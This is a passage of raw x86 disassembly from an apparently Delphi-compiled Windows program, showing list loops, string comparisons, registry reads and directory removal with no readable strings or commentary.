call fcn.0042d868
mov edx, dword [ebp - 0x930]
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x564]
dec dword [ebp - 0x68c]
jne 0x596c38
mov dword [ebp - 0x568], 1
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596dc9
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x564], 1
lea ecx, [ebp - 0x938]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x938]
mov edx, dword [0x5dcd5c]
call fcn.0040aaec
test eax, eax
jne 0x596d0d
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x568], eax
lea ecx, [ebp - 0x93c]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x93c]
push eax
mov dl, 1
mov al, 1
call fcn.004b04ec
lea edx, [ebp - 0x940]
call fcn.004afbbc
mov edx, dword [ebp - 0x940]
pop eax
call fcn.0040aaec
test eax, eax
jne 0x596d7b
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov ecx, dword [eax]
call dword [ecx + 0xe0]
jmp 0x596dc9
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x564]
jne 0x596db7
mov edx, dword [ebp - 0x568]
dec edx
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov ecx, dword [eax]
call dword [ecx + 0xe0]
inc dword [ebp - 0x564]
dec dword [ebp - 0x68c]
jne 0x596cc7
cmp byte [0x5dccf4], 0
jne 0x596e08
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0xfc]
cmp eax, 2
jne 0x596e08
mov eax, dword [0x5d5850]
mov eax, dword [eax]
call fcn.00404b38
push ebp
mov al, 1
call fcn.005940c0
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad82b
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov edx, dword [eax]
call dword [edx + 0xdc]
mov edx, eax
lea ecx, [ebp - 0x944]
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x944]
mov eax, 0x5dcd60
call fcn.00405aec
mov eax, dword [0x5d5850]
mov eax, dword [eax]
call fcn.00404b38
lea edx, [ebp - 0x948]
mov eax, 0x5ae598
call fcn.0058fff8
mov eax, dword [ebp - 0x948]
call fcn.005936d4
test al, al
jne 0x596ed9
lea edx, [ebp - 0x954]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x954]
lea edx, [ebp - 0x950]
call fcn.00589dcc
push dword [ebp - 0x950]
lea edx, [ebp - 0x958]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x958]
push 0x5adfec
lea eax, [ebp - 0x94c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x94c]
call fcn.0040b8f0
test al, al
je 0x596fb9
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
cmp dword [0x5dcd78], 3
jne 0x596f18
push dword [ebp - 0x3c0]
push dword [0x5dcd14]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
jmp 0x596f39
push dword [ebp - 0x3c0]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x95c]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x95c]
push 0x5ae5ac
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x3c0]
call fcn.0040b8f0
test al, al
je 0x596fb9
mov edx, dword [ebp - 0x3c0]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403728
mov edx, 0x5dcd60
lea eax, [ebp - 0x3a8]
call fcn.00403f9c
lea eax, [ebp - 0x3a8]
call fcn.00404008
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
mov ecx, 0x5ae030
mov edx, dword [0x5dcd60]
mov eax, 0x5ae4f8
call fcn.0059002c
mov eax, dword [ebp - 0x648]
call fcn.00404b38
mov eax, dword [0x5dcd90]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5ad501
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0x564]
dec eax
and eax, 0x80000001
jns 0x59700e
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x5970fb
lea ecx, [ebp - 0x964]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5dcd90]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x964]
lea edx, [ebp - 0x960]
call fcn.0040abac
mov eax, dword [ebp - 0x960]
call fcn.005b0140
test al, al
je 0x5970a5
lea ecx, [ebp - 0x968]
mov edx, dword [ebp - 0x564]
mov eax, dword [0x5dcd90]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x968]
push eax
lea ecx, [ebp - 0x970]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5dcd90]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x970]
lea edx, [ebp - 0x96c]
call fcn.0040abac
mov eax, dword [ebp - 0x96c]
mov ecx, 0x5ae5bc
pop edx
call fcn.00590064
jmp 0x5970fb
lea ecx, [ebp - 0x974]
mov edx, dword [ebp - 0x564]
mov eax, dword [0x5dcd90]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x974]
push eax
lea ecx, [ebp - 0x97c]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5dcd90]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x97c]
lea edx, [ebp - 0x978]
call fcn.0040abac
mov eax, dword [ebp - 0x978]
mov ecx, 0x5ae5bc
pop edx
call fcn.0059002c
inc dword [ebp - 0x564]
dec dword [ebp - 0x68c]
jne 0x596ffb
jmp 0x5ad501
mov eax, dword [ebp - 0x54c]
mov ecx, 0x13a
cdq
idiv ecx
test edx, edx
jne 0x597130
mov eax, dword [0x5d5d78]
mov eax, dword [eax]
call fcn.00485f60
lea edx, [ebp - 0x980]
mov eax, 0x5ae284
call fcn.0058fff8
mov edx, dword [ebp - 0x980]
mov eax, 0x5dccf8
call fcn.00405aec
lea edx, [ebp - 0x984]
mov eax, 0x5ae274
call fcn.0058fff8
mov eax, dword [ebp - 0x984]
call fcn.005936d4
mov byte [0x5dccf4], al
lea edx, [ebp - 0x988]
mov eax, 0x5ae38c
call fcn.0058fff8
mov edx, dword [ebp - 0x988]
mov eax, dword [0x5d5fc4]
call fcn.00405aec
lea edx, [ebp - 0x98c]
mov eax, 0x5ae108
call fcn.0058fff8
mov eax, dword [ebp - 0x98c]
mov edx, 0x5ae048
call fcn.00405ec0
mov eax, dword [0x5d5bac]
sete byte [eax]
lea edx, [ebp - 0x990]
mov eax, 0x5ae0f0
call fcn.0058fff8
cmp dword [ebp - 0x990], 0
je 0x59731c
lea edx, [ebp - 0x994]
mov eax, 0x5ae0f0
call fcn.0058fff8
mov edx, dword [ebp - 0x994]
mov eax, dword [0x5dcdac]
call fcn.00405ec0
je 0x59731c
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x67c], eax
push ebp
lea edx, [ebp - 0x99c]
mov eax, 0x5ae0f0
call fcn.0058fff8
mov eax, dword [ebp - 0x99c]
lea edx, [ebp - 0x998]
call fcn.00589dcc
mov eax, dword [ebp - 0x998]
mov edx, dword [ebp - 0x67c]
call fcn.00595178
pop ecx
test al, al
je 0x5972f6
lea edx, [ebp - 0x9a4]
mov eax, 0x5ae0f0
call fcn.0058fff8
mov eax, dword [ebp - 0x9a4]
lea edx, [ebp - 0x9a0]
call fcn.00589dcc
mov edx, dword [ebp - 0x9a0]
mov ecx, 0x5ae5bc
mov eax, 0x5ae0f0
call fcn.00590064
push ebp
call fcn.00594180
pop ecx
lea edx, [ebp - 0x9a8]
mov eax, 0x5ae0f0
call fcn.0058fff8
mov edx, dword [ebp - 0x9a8]
mov eax, 0x5dcdac
call fcn.00405aec
mov eax, dword [ebp - 0x67c]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x597311
mov dword [ebp - 0x564], eax
lea ecx, [ebp - 0x9ac]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x67c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9ac]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
dec dword [ebp - 0x564]
cmp dword [ebp - 0x564], 0
jne 0x5972bc
jmp 0x597311
mov ecx, 0x5ae5e4
xor edx, edx
mov eax, 0x5ae0f0
call fcn.00590064
mov eax, 0x5dcdac
call fcn.00405a98
mov eax, dword [ebp - 0x67c]
call fcn.00404b38
call fcn.0040d2a8
fstp qword [ebp - 0x708]
wait
push dword [ebp - 0x704]
push dword [ebp - 0x708]
mov edx, dword [0x5d59f4]
mov edx, dword [edx]
lea eax, [ebp - 0x470]
call fcn.0040df08
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x470]
mov eax, 0x5ae3c0
call fcn.0059002c
call fcn.0040d2d4
fstp qword [ebp - 0x710]
wait
push dword [ebp - 0x70c]
push dword [ebp - 0x710]
mov edx, dword [0x5d5cec]
mov edx, dword [edx]
lea eax, [ebp - 0x474]
call fcn.0040df08
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x474]
mov eax, 0x5ae3d0
call fcn.0059002c
xor eax, eax
push ebp
push 0x597511
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x9b0]
mov eax, 0x5ae4f8
call fcn.0058fff8
mov edx, dword [ebp - 0x9b0]
mov eax, 0x5dcd60
call fcn.00405aec
cmp dword [0x5dcd60], 0
je 0x597507
mov eax, dword [0x5dcd60]
mov edx, dword [0x5dcd64]
call fcn.00405ec0
je 0x597507
mov eax, 0x5dcd64
mov edx, dword [0x5dcd60]
call fcn.00405aec
lea eax, [ebp - 0x9b4]
mov ecx, 0x5ae534
mov edx, dword [0x5dcd24]
call fcn.00405db0
mov edx, dword [ebp - 0x9b4]
mov eax, dword [0x5dcd68]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dcd24]
push 0x5ae580
push dword [0x5dcd60]
lea eax, [ebp - 0x9b8]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x9b8]
mov eax, dword [0x5dcd6c]
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea eax, [ebp - 0x9bc]
mov ecx, 0x5ae550
mov edx, dword [0x5dcd24]
call fcn.00405db0
mov edx, dword [ebp - 0x9bc]
mov eax, dword [0x5dcd74]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dcd24]
push dword [0x5dcd40]
push 0x5ae50c
lea eax, [ebp - 0x9c0]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x9c0]
mov eax, dword [0x5dcd70]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dcd24]
push 0x5ae604
push dword [0x5dcd60]
lea eax, [ebp - 0x9c4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x9c4]
call fcn.0040b8f0
test al, al
je 0x597507
push dword [0x5dcd24]
push 0x5ae604
push dword [0x5dcd60]
lea eax, [ebp - 0x9c8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x9c8]
call fcn.004b08e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x597525
mov ecx, 0x5ae030
mov edx, dword [0x5dcd60]
mov eax, 0x5ae4f8
call fcn.0059002c
lea edx, [ebp - 0x9cc]
mov eax, 0x5adf94
call fcn.0058fff8
mov eax, dword [ebp - 0x9cc]
call fcn.005936d4
lea edx, [ebp - 0x3c0]
call fcn.0058f120
push dword [ebp - 0x3c0]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
lea edx, [ebp - 0x9d0]
mov eax, dword [ebp + 8]
call fcn.00589d2c
mov eax, dword [ebp - 0x9d0]
push eax
lea edx, [ebp - 0x9d8]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x9d8]
lea edx, [ebp - 0x9d4]
call fcn.00589dcc
mov edx, dword [ebp - 0x9d4]
lea eax, [ebp - 0x3c4]
pop ecx
call fcn.00405db0
cmp dword [0x5dcd78], 3
je 0x597634
lea edx, [ebp - 0x9e4]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x9e4]
lea edx, [ebp - 0x9e0]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x9e0]
lea eax, [ebp - 0x9dc]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov edx, dword [ebp - 0x9dc]
mov ecx, 0x5ae030
mov eax, 0x5ae624
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae63c
call fcn.0059002c
jmp 0x5977ec
xor eax, eax
push ebp
push 0x59778b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
lea edx, [ebp - 0x9e8]
mov eax, 0x5adf94
call fcn.0058fff8
mov eax, dword [ebp - 0x9e8]
call fcn.005936d4
test al, al
je 0x597685
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp 0x597695
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [0x5d6114]
cmp dword [eax], 1
jne 0x5976af
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x9f0]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x9f0]
lea eax, [ebp - 0x9ec]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x9ec]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
lea ecx, [ebp - 0x3c0]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431090
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
lea eax, [ebp - 0x3c0]
mov ecx, 1
call fcn.00405fd0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 0
je 0x597753
mov eax, dword [ebp - 0x714]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x714], eax
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
lea eax, [ebp - 0x3c0]
mov ecx, dword [ebp - 0x714]
call fcn.00405fd0
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5977a0
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae624
call fcn.0059002c
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x9f8]
lea edx, [ebp - 0x9f4]
call fcn.00589dcc
mov edx, dword [ebp - 0x9f4]
mov ecx, 0x5ae030
mov eax, 0x5ae63c
call fcn.0059002c
cmp byte [ebp - 0x59b], 0
je 0x597a17
xor eax, eax
mov dword [ebp - 0x564], eax
inc dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x595], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae650
call fcn.00405ec0
je 0x59784a
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae65c
call fcn.00405ec0
jne 0x597893
lea ecx, [ebp - 0x9fc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9fc]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597893
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597893
inc dword [ebp - 0x564]
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x5978f7
lea ecx, [ebp - 0xa00]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa00]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x5978f7
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x5978f7
dec dword [ebp - 0x564]
cmp dword [ebp - 0x564], 0
jl 0x5978f7
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae698
call fcn.00405ec0
je 0x597931
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6a8
call fcn.00405ec0
je 0x597931
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597801
cmp dword [ebp - 0x564], 0
jg 0x597801
cmp byte [ebp - 0x595], 0
jne 0x597801
cmp dword [ebp - 0x540], 0
je 0x597982
lea ecx, [ebp - 0xa04]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa04]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597801
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597801
mov byte [ebp - 0x59b], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6a8
call fcn.00405ec0
jne 0x5979e0
cmp byte [ebp - 0x59c], 0
jne 0x597a17
dec dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
dec dword [ebp - 0x5a4]
jmp 0x597a17
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597a17
dec dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x59d], 1
cmp byte [ebp - 0x59c], 0
je 0x597bcb
xor eax, eax
mov dword [ebp - 0x564], eax
inc dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x595], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae650
call fcn.00405ec0
je 0x597a75
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae65c
call fcn.00405ec0
jne 0x597abe
lea ecx, [ebp - 0xa08]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa08]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597abe
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597abe
inc dword [ebp - 0x564]
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597b22
lea ecx, [ebp - 0xa0c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa0c]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597b22
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597b22
dec dword [ebp - 0x564]
cmp dword [ebp - 0x564], 0
jl 0x597b22
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597a2c
cmp dword [ebp - 0x564], 0
jg 0x597a2c
cmp byte [ebp - 0x595], 0
jne 0x597a2c
cmp dword [ebp - 0x540], 0
je 0x597b89
lea ecx, [ebp - 0xa10]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa10]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597a2c
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597a2c
mov byte [ebp - 0x59c], 0
dec dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x59d], 1
cmp byte [ebp - 0x5a5], 0
jne 0x597c53
inc dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x538]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jle 0x597fa4
cmp dword [ebp - 0x540], 0
je 0x597c3c
lea ecx, [ebp - 0xa14]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa14]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597bd4
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597bd4
jmp 0x597fa4
mov eax, dword [ebp - 0x5ac]
add dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 0
jne 0x597c72
mov dword [ebp - 0x5b0], 1
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x5b0]
jge 0x597c96
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x14]
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5ac], 1
jne 0x597cae
mov dword [ebp - 0x564], 1
jmp 0x597d6c
cmp dword [ebp - 0x5ac], 0xffffffff
jne 0x597cc6
mov dword [ebp - 0x564], 0xffffffff
jmp 0x597d6c
inc dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597cc6
cmp dword [ebp - 0x540], 0
je 0x597d29
lea ecx, [ebp - 0xa18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa18]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597cc6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597cc6
mov byte [ebp - 0x5a5], 0
mov byte [ebp - 0x5a6], 1
dec dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5ad501
mov eax, dword [ebp - 0x564]
add dword [ebp - 0x54c], eax
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6b8
call fcn.00405ec0
je 0x597dc6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae65c
call fcn.00405ec0
je 0x597dc6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597d6c
cmp dword [ebp - 0x540], 0
je 0x597dfd
lea ecx, [ebp - 0xa1c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa1c]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597d6c
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597d6c
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597e9b
cmp dword [ebp - 0x540], 0
je 0x597e58
lea ecx, [ebp - 0xa20]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa20]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597e9b
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597e9b
mov byte [ebp - 0x5a5], 0
mov byte [ebp - 0x5a6], 1
dec dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae65c
call fcn.00405ec0
jne 0x597fa4
cmp dword [ebp - 0x540], 0
je 0x597ee8
lea ecx, [ebp - 0xa24]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa24]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597fa4
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597fa4
inc dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x597efe
cmp dword [ebp - 0x540], 0
je 0x597f61
lea ecx, [ebp - 0xa28]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa28]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x597efe
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae67c
call fcn.00405ec0
je 0x597efe
mov byte [ebp - 0x5a5], 0
mov byte [ebp - 0x5a6], 1
dec dword [ebp - 0x54c]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5ad501
mov eax, dword [ebp - 0x538]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jl 0x5ad518
lea ecx, [ebp - 0xa2c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x540]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa2c]
mov edx, 0x5ae670
call fcn.00405ec0
je 0x5ad501
call fcn.005b4578
inc eax
jne 0x598007
mov ecx, 0x5ae6d0
mov edx, 0x5ae048
mov eax, 0x5ae198
call fcn.00590064
jmp 0x59801b
mov ecx, 0x5ae6d0
mov edx, 0x5adf0c
mov eax, 0x5ae198
call fcn.00590064
cmp dword [0x5dccc4], 0
je 0x598105
mov byte [ebp - 0x63d], 0
lea edx, [ebp - 0xa30]
mov eax, 0x5ae168
call fcn.0058fff8
mov edx, dword [ebp - 0xa30]
mov eax, dword [ebp - 0x40c]
call fcn.00405ec0
je 0x598069
mov byte [ebp - 0x63d], 1
lea edx, [ebp - 0x40c]
mov eax, 0x5ae168
call fcn.0058fff8
lea edx, [ebp - 0xa34]
mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0xa34]
call fcn.0040b328
cmp eax, dword [ebp - 0x644]
je 0x5980b4
mov byte [ebp - 0x63d], 1
lea edx, [ebp - 0xa38]
